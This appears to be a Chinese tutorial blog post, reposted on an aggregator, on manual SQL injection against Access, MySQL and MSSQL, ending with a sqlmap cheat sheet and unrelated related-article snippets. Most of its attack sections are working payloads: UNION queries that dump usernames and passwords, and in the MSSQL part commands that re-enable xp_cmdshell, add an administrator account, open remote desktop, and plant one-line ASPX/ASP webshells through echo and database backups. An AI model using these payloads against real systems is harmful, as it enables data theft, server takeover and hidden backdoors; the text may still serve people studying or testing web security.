08.SQL注入-下(超详细!!!)

1、Access注入

1.1 判断是否存在注入漏洞

?id=10 and 1=1    //不报错
?id=10 and 1=2    //报错

在这里插入图片描述

1.2 判断字段数

?id=10 order by 1
...
?id=10 order by 7   //不报错
?id=10 order by 8   //报错
说明有7个字段

在这里插入图片描述

在这里插入图片描述

1.3 猜表名

?id=10 and exists(select * from administrator)   //不报错
猜测表名是administrator

在这里插入图片描述

1.4 猜字段名

?id=10 and exists(select user_name from administrator)    返回正常页面,说明administrator表中存在字段user_name
?id=10 and exists(select password from administrator)    返回正常页面,说明administrator表中存在字段password	

在这里插入图片描述

以上一般能用工具进行破解,了解即可

2、SQL注入高级查询(union select)

在前面的案例中,我们已经猜解出了表名administrator及字段名user_name,password,现在来进行高效查询获得字段内容。

?id=10 and 1=2 union select 1,2,3,4,5,6,7 from administrator     //可以发现2和3是回显点

在这里插入图片描述

?id=10 and 1=2 union select 1,user_name,password,4,5,6,7 from administrator

在这里插入图片描述

2、MySQL数据库注入

MySQL数据序在各种Web应用程序中的使用也非常广泛。与其他数据库一样,在Web应用程序编写的过程中,如果对用户提交的参数未进行过滤或过滤不严,也会导致SQL注入攻击漏洞的产生.

MySQL数据库通常与PHP网页程序搭建网站平台,各大门户网站采用MySQL+PHP的网站结构,例如新浪、网易、TOM网站等.由于MySQL数据库的应用时象大多足一些大型的网站企业公司,因此针对MySQL数据库的注入攻击技术的危害性也非常大

2.1 常见注入攻击

MySQL 4及之前的版本中,由于不支持子语句查询,而且当“php.ini"配置文件中的magic_quotes_gpc参数设置为“On(开启)”时,提交的变量中包含’(单引号),"(双引号),以及反斜线、and和空字符等危险的字符,都会被数据库自动转为含有反斜线的转义字符,给注入攻击带来很大的困难.由于这个特性,导致许多管理员认为MySQL比较安全。然而事实上,安全永远是相对的,漏洞与攻击威胁的存在却是绝对的。

MySQL 5版本数据库中,由于新增加了一个information_schema库,该库中存储了数据库信息内容,因此可以直接爆库、爆表、爆字段,让注入攻击变得极为简单。

2.2 MySQL4注入

MySQL4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。MySQL 4的注入攻击方法如下。

首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。

2.3 MySQL5注入

MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多,其使用方法通常有如下几种:
① 通过对MySQL的数据进行猜解获取敏感的信息,来进一步通过网站的各种功能获取控制权。
② 通过load_fileO函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
③ 通过dumpfile/outfile函数导出获取WebShell。

2.4 MySQL注入过程

① 检查注入点

and 1=1
and 1=2

② 判断字段数

1'order by 1#   //不报错
1'order by 2#   //不报错
1'order by 3#   //报错
说明有2个字段

在这里插入图片描述

③ 查看数据库版本、库名

1'union select version(),database()--+

在这里插入图片描述

④ 获取mysql所有库

1'union select 1,group_concat(schema_name) from information_schema.schemata#

在这里插入图片描述

⑤ 获取表名

1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

⑥ 获取表里的字段

1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

⑦ 获取所有字段内容

1'union select 1,group_concat(user,password) from users#

在这里插入图片描述

3、MsSQL注入

MsSQL Serve数据库在Web应用程序开发中也占了很大一部分比例,很多脚本语言都能够与之相结合.下面介绍一下基于ASP+MsSQL环境下的注入攻击技术。
对MsSQL的注入,可采用与Access注入相同的原理和方法,但足利用MsSQL的特性,可以直接实施危害性极大的攻击,或者使用一些高级查询语句,快速得到表名和字段名等数据内容。

3.1 判断是否存在MsSQL注入

and exists(select * from sysobjects)      //页面返回正常,则说明有MsSQL注入点

3.2 注入点权限分类

1、sa权限

sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制。

① 检查是否是mssql数据库

and exists(select * from sysobjects)

② 查询当前数据库系统的用户名

and system_user=0

③ 检查注入点是否为sa权限

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

④ 判断一下xp_cmdshell存储过程是否存在

and 1=(select count(*) from master.dbo.sysobjects where name='xp_cmdshell') 

没有的话,可以输入这条命令进行恢复

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- 

⑤ 添加账号

;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'

⑥ 开3389

;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

2、dbowner

当数据库连接账户为dbowner权限时,无法直接利用扩展存储执行各种系统命令,进行攻击的过程比较烦琐。
当注入点为dbo权限时,通常首先利用xp_dirtree扩展存储列出Web目录,然后利用SQL语句创建一个临时表,插入一句话木马到临时表中。然后利用数据库备份语句,将数据库备份到Web目录并保存为ASP格式的文件,即可得到一个一句话木马后门。最后利用一句话木马客户端连接后门,得到WebShell后就可以控制整个服务器了。

① 查看当前网站是否为db_owner权限

and 1=(SELECT IS_MEMBER('db_owner'));--

② 找出网站路径

通过报错或baidu、google查找

通过相关语句:

drop table black;create Table black(result varchar(7996) null,id int not null(identity(1,1)))--insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--and (select result from black where id=1)>0--

③ 写入一句话木马获取webshell

%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--

差异备份

;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

3、public

① 获取当前网站数据库名称

and db_name()=0--

② 获取当前数据库所有表名

and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--

③ 爆表名及字段名

having 1=1--    //得出表名(admin)和字段名(id)
group by admin.id having 1=1    //接着爆出下一个字段名为name
group by admin.id,admin.name having 1=1--

4、sqlmap常见命令

常用命令解释
-r指定参数post注入 sqlmap.py -r post.txt -p 注入参数
-uget注入
–-level=LEVEL执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer
–risk=RISK执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试
-vERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3
-p-p 后面接参数,针对单个参数注入
-threads线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10
-batch-smart智能判断测试
–mobile模拟测试手机环境站点
-m批量注入
–dbs查看数据库名
–current-user大多数数据库中可检测到数据库管理系统当前用户
–current-db当前连接数据库名
–is-dba判断当前的用户是否为管理
–users列出数据库所有所有用户
–tables -D 数据库名获取表名
–file-read /etc/password读取文件内容
–os-shell系统交互的shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/393031.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用队列实现栈

1 .思路及目的 用两个标准的队列&#xff08;先进先出&#xff09;实现栈&#xff08;后进先出&#xff09; 始终保持一个队列为空&#xff0c;往非空的栈插入数据 删除数据时&#xff0c;将数据导入另一个队列&#xff0c;留下最后一个数据&#xff08;这个数据就是要删除的…

各种排序算法【持续更新中.....】

1.归并排序 归并排序 &#xff0c;归并排序是采用分治法(Divide and Conquer&#xff09;的一个非常典型的应用&#xff0c;所以我们先来说一下什么是分治法。 分治法 定义 分治&#xff08;英语&#xff1a;Divide and Conquer&#xff09;&#xff0c;字面上的解释是「分…

什么情况?我代码没了

前两天检视代码时&#xff0c;发现PR里面有两个提交的描述信息一模一样&#xff0c;于是我提出应该将这两个提交合并成一个&#xff0c;保持提交树的清晰。 1 先储存起来&#xff01; 而同事这时正在开发别的特性&#xff0c;工作区不是干净的&#xff0c;没法直接执行 git r…

xss漏洞(二,xss靶场搭建以及简单利用)

本文仅作为学习参考使用&#xff0c;本文作者对任何使用本文进行渗透攻击破坏不负任何责任。 一&#xff0c;环境搭建。 使用工具&#xff1a;PHP study&#xff0c;dvwa靶场。 1&#xff0c;GitHub上下载dvwa到PHP study的WWW文件夹内&#xff0c;并解压。 dvwa下载地址 …

动态规划之——背包DP(进阶篇)

文章目录 概要说明多重背包(朴素算法)模板例题思路code 多重背包&#xff08;二进制优化&#xff09;模板例题思路code 多重背包(队列优化)模板例题思路 混合背包模板例题思路code1code2 二维费用背包模板例题思路code 概要说明 本文讲多重背包、混合背包以及二维费用背包&…

企业社会责任(CSR)国际标准有哪些?

以下是一些常见的企业社会责任&#xff08;CSR&#xff09;国际标准和相关体系等&#xff1a; 原则性、指南性标准 ISO 26000《社会责任指南》 &#xff1a;将社会责任归纳为7个核心方面&#xff0c;即公司治理、人权、劳工、环境、公平运营实践、消费者问题以及对社会发展作贡…

codetop标签双指针题目大全解析(C++解法),双指针刷穿地心!!!!!

写在前面&#xff1a;此篇博客是以[双指针总结]博客为基础的针对性训练&#xff0c;题源是codetop标签双指针近一年&#xff0c;频率由高到低 1.无重复字符的最长子串2.三数之和3.环形链表4.合并两个有序数组5.接雨水6.环形链表II7.删除链表的倒数第N个节点8.训练计划II9.最小覆…

餐饮业的数字化突围:价格战下的转型与新生

原文链接&#xff1a;https://tecdat.cn/?p37241 餐饮业价格战升级了&#xff0c;越打越激烈。近日&#xff0c;各餐饮巨头也被迫纷纷下场。 “太二酸菜鱼客单价跌至七年前” “9.9元就可以点上海底捞的一份锅底” “必胜客推出人均20元的乐享店”…… 消费降级的时代潮水&am…

dockerfile定制镜像 docker-compose编排容器

1 dockerfile dockerfile本质上是利用了Linux系统的挂载&#xff08;UnionFS&#xff09;&#xff0c;将多个目录挂载到同一目录下&#xff0c;实现镜像的层叠式结构&#xff0c;从而实现功能聚合。 1.1 一个最简单的程序 package mainimport "fmt"func main() {f…

4.Redis数据结构通用命令

Redis数据结构 Redis是一个键值对的数据库。 key&#xff1a;大多都是String value: 类型多种多样 Redis通用命令 keys :查看所有的key 不建议在生产环境上使用keys命令&#xff0c;因为redis是单线程的&#xff0c;keys命令会搜索很长一段时间&#xff0c;搜索的期间redi…

Java I/O (Input/Output)——文件字节流

博客主页&#xff1a;誓则盟约系列专栏&#xff1a;Java SE 专栏关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ Java I/O 简介 Java I/O&#xff08;输入/输出&#xff09;是 Java 程序中…

[C++] 模板进阶:特化与编译链接全解析

文章目录 非类型模板类型形参非类型模板参数代码示例 **模板的特化**为什么要有模板的特化函数模板特化使用场景与示例函数模板特化的实现细节 类模板特化全特化示例 偏特化部分优化通过进一步限制模板参数进行特化偏特化为指针类型示例&#xff1a;偏特化为引用类型示例&#…

menuconfig+Kconfig的简单配置

目录 1.背景 2.管理方案 2.1&#xff1a;.h中直接定义 2.2&#xff1a;.batCmake 2.3&#xff1a;Kconfig 2.3.1 环境安装 2.3.2 代码 2.3.2.1 目录结构 2.3.2.2 ble目录下的Kconfig 2.3.2.3 hardware目录下的Kconfig 2.3.2.4 rtos目录下的Kconfig 2.3.2.5 根目录 …

申请专利需要准备哪些材料?

申请专利需要准备哪些材料&#xff1f;

实践致知第17享:电脑忽然黑屏的常见原因及处理方法

一、背景需求 小姑电话说&#xff1a;最近&#xff0c;电脑忽然就黑屏了&#xff08;如下图所示&#xff09;&#xff0c;但是等待几十秒甚至一分钟&#xff0c;电脑就能自然恢复了&#xff0c;这种状况一天能出现三四次&#xff0c;怎么办&#xff1f; 二、分析诊断 电脑黑屏…

keeplive配置详解与haproxy配置详解

一、keepalive相关知识 1.1 keepalive介绍 keepalive即LVS集群当中的高可用架构&#xff0c;只是针对调度器的高可用。是高可用的HA架构。 keepalive就是基于VRRP协议来实现LVS高可用的方案。 1、组播地址 224.0.0.18&#xff0c;根据组播地址进行通信&#xff0c;主备之间发…

Java多线程-----定时器(Timer)及其实现

目录 一.定时器简介&#xff1a; 二.定时器的构造方法与常见方法&#xff1a; 三.定时器的模拟实现&#xff1a; 思路分析&#xff1a; 代码实现&#xff1a; 在开发中&#xff0c;我们经常需要一些周期性的操作&#xff0c;例如每隔几分钟就进行某一项操作&#xff0c;这…

标准IO——文件定位、文件IO

续&#xff1a;feof、ferror&#xff08;检测一个流是否出错&#xff09;、clearerr&#xff08;清除一个流出错的标记&#xff09;。 一、标准IO文件定位 1、fseek(定位&#xff09; int fseek(FILE *stream , long offset(偏移长度) , int whence(偏移起始位置)) 其中when…

阿里云SMS服务C++ SDK编译及调试关键点记录

一. 阿里云SMS服务开通及准备工作 在阿里云官网上完成这部分的工作 1. 申请资质 个人or企业 我这里是用的企业资质 2. 申请签名 企业资质认证成功后&#xff0c;会自动赠送一个用于测试的短信签名 也可以自己再进行申请&#xff0c;需要等待审核。 3. 申请短信模板 企…

还没用过OBS Studio?快来提升你的技术分享效率!

前言 在浩瀚的数字海洋中&#xff0c;有这么一款神器&#xff0c;它低调却光芒四射&#xff0c;默默改变着无数内容创作者的命运&#xff1b;嘿&#xff0c;你猜怎么着&#xff1f;它既不是天价的专业设备&#xff0c;也不是遥不可及的神秘黑科技&#xff0c;而是开源世界的瑰宝…